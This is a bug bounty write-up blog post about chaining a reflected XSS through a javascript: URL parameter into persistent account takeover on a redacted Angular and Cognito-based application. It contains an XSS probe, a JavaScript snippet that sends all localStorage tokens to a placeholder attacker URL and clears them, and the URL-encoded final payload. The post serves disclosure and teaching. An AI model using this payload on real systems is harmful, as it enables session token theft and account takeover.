How a classical XSS can lead to persistent ATO Vulnerability?

TL;DR (Too long; Do read)

Hello Hunters,

XSS (Cross Site Scripting) is really one of the most common bugs that we have found atleast once somewhere The thing that is not common is how we report it? Most of the Bug Bounty Programs asses the severity of an issue by considering the worst case impact that a particular POC can demonstrate. For instance, an e-commerce site will not consider a CSRF vulnerability, that can lead to items getting added to victims cart as severe as a CSRF vulnerability, that can force user into changing his email or deleting an account. Similarly, assets like Zomato may not consider it an information disclosure if someone is able to extract public phone numbers and email addresses of their restaurants. It is important to understand your targets before blindly injecting XSS payloads into the form fields. Asking yourself “how is this working?” and what the developer might have thought while working on a particular asset helps you a lot while trying to find bugs.

Background

My friend Yash and I, stumbled across a similar situation while collaborating on a private program. This program in particular had a really small scope and a lot of hackers were working on it before we accepted our invitations. All hackers were given the same credentials for working meaning any xss/template injection that another hacker tried to create could be visible to all the hackers. This is when yash tweeted:

To be honest, in the beginning it seemed almost impossible to get any injection as the application was heavily secured. It was using Angular in the front end which made it almost impossible to create any injections. By default Angular trusts all user’s input as unsafe. You can read more about it here. It was important to understand the application, and I pretty much got idea about the assets that the web application was trying to protect from their policy page. Since, it was relying on angular in the front-end, trying to create an XSS won’t yield anything. While working with the security team, one of their team members revealed:

The application you are testing in: each ‘tenant’ in our system is a ‘company’. The tool is used to onboard new prospects to a client within their company (tenant).

Bingo, that’d mean that prospects would have to be invited to the company. It seemed like a feedback portal that is used by tenants to know their customers. But how are the customers getting invited? It turned out that the customers were sent an email to the fill-up some kind of form to onboard themselves.

Image

Exploitation

So, from my dashboard I sent an email to my other email address and opened the link. This link had the following format:

https://REDACTED.com/redacted_url/url;url=http%3A%2F%2FREDACTED.com%3Aanother_redacted_url/

At first it seemed like this was an SSRF but soon Yash pointed out the request getting sent from my browser. This was a let down for me, because at that time I was voraciously looking for an SSRF. I quickly injected my phishing payload https:%2F%2Fmilindpurswani.com%2Fb%2Fphish.html which resulted in phishing page getting popped into the DOM.

Image2

There was definitely an XSS and upon executing https://REDACTED.COM/redacted_url/url;url=javascript:alert%28document.domain%29.

Image3

Normally this’d be enough for demonstrating a working POC. Accoding to the Program’s policy page, since this was a Reflected XSS, it fell under low/medium severity. We were quite satisfied with this and reported the issue hoping it was not a duplicate. For the next few days, there was no response on this report.

During this time, Yash and I kept working on this asset and it was no sooner that we realized about a few design flaw in the system. These were not a vulnerability within themselves but when chaining with the XSS bought the severity of this report to High(7.1). A few related observations that we made were:

  1. The system was not using cookies to check for authenticated sessions. Instead it was relying on Authorization Header.
  2. The website was using Amazon Cognito for user management and for some reason they had a lot of user’s information stored in the local storage.
  3. When a user clicks on logout, he is logged-out of the account but if he closes the window, the authorization token was not revoked.
  4. If a user logins from his account in multiple devices and then changes the password, his session tokens are not invalidated from other devices.

I quickly wrote this javascript code that would steal the authorization tokens and remove his/her session tokens from the browser. The user would think that he was actually logged out from the browser:

    var xmlhttp = new XMLHttpRequest();
    var theUrl = "attackers-url"; //Attacker steals the tokens on this address
    xmlhttp.open("POST", theUrl);
    xmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
    xmlhttp.send(JSON.stringify({...localStorage}));
    localStorage.clear();

I tested it within the console and it worked! Now the only thing required was to trigger XSS leading it to execute this code. This is what or final POC looked like:

https://REDACTED.com/redacted_url/url;url=javascript:%76%61%72%20%78%6d%6c%68%74%74%70%20%3d%20%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%28%29%3b%76%61%72%20%74%68%65%55%72%6c%20%3d%20%22%61%74%74%61%63%6b%65%72%73%2d%75%72%6c%22%3b%20%2f%2f%41%74%74%61%63%6b%65%72%20%73%74%65%61%6c%73%20%74%68%65%20%74%6f%6b%65%6e%73%20%6f%6e%20%74%68%69%73%20%61%64%64%72%65%73%73%78%6d%6c%68%74%74%70%2e%6f%70%65%6e%28%22%50%4f%53%54%22%2c%20%74%68%65%55%72%6c%29%3b%78%6d%6c%68%74%74%70%2e%73%65%74%52%65%71%75%65%73%74%48%65%61%64%65%72%28%22%43%6f%6e%74%65%6e%74%2d%54%79%70%65%22%2c%20%22%61%70%70%6c%69%63%61%74%69%6f%6e%2f%6a%73%6f%6e%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%22%29%3b%78%6d%6c%68%74%74%70%2e%73%65%6e%64%28%4a%53%4f%4e%2e%73%74%72%69%6e%67%69%66%79%28%7b%2e%2e%2e%6c%6f%63%61%6c%53%74%6f%72%61%67%65%7d%29%29%3b%6c%6f%63%61%6c%53%74%6f%72%61%67%65%2e%63%6c%65%61%72%28%29%3b

And the data that we received from the victim’s session looked something like this:

    {"CognitoIdentityServiceProvider.69abj1tqnk40eeug2oju2qnaa7.hkr0x01.accessToken":"REDACTED",
    "rememberMe":"true",
    "CognitoIdentityServiceProvider.69abj1tqnk40eeug2oju2qnaa7.hkr0x01.clockDrift":"-1",
    "username":"hkr0x01",
    "CognitoIdentityServiceProvider.69abj1tqnk40eeug2oju2qnaa7.LastAuthUser":"hkr0x01",
    "CognitoIdentityServiceProvider.69abj1tqnk40eeug2oju2qnaa7.hkr0x01.idToken":" REDACTED"}

Moreover, the idToken contained following values:

    {
    "kid":"o4Ub0oKqDSdJSEElK\/nOF1sI79mjLrj0CFNP2fdobCU=",
    "alg":"RS256"
    }
    {
    "sub":"b7bd20bd-c855-4b79-995b-e99fb7f5b61e",
    "email_verified":true,"profile":"ROLE_TENANT_USER",
    "iss":"https:\/\/cognito-idp.eu-central-1.amazonaws.com\/eu-central-1_REDACTED",
    "phone_number_verified":true,
    "cognito:username":"hkr0x01",
    "preferred_username":"81b619c0-ae28-11e8-9efe-c1f0f85d7f04",
    "given_name":"hkr",
    "middle_name":"lol",
    "aud":"69abj1tqnh40eeug2oju2qnaa7",
    "event_id":"3b836566-5dc8-11e9-8441-fd78254b71e5",
    "token_use":"id",
    "auth_time":1555145042,
    "phone_number":"REDACTED",
    "exp":1555150790,
    "iat":1555147190,
    "family_name":"0x01",
    "email":"REDACTED
    ... and then some encrypted values ...

Since we were able to fetch the refresh token, we could generate a new authorization token anytime the older one got invalidated.

What I learnt?

  1. Session tokens when stored in Local Storage, may not necessarily secure the application.
  2. It is important to understand the working of an application and then try to adapt the attack vectors so as to create higher impact. Many a times, so called “features” can be leveraged into a vulnerability.
  3. One may not be able to discover huge bugs alone, but one can collaborate with your buddies to create stronger attack vectors with innovative approaches.

I hope you guys had fun reading this blog post. Do let me know in the comments how you felt or if you have any doubts, DM me on twitter @panda0nair

Thanks,

Milind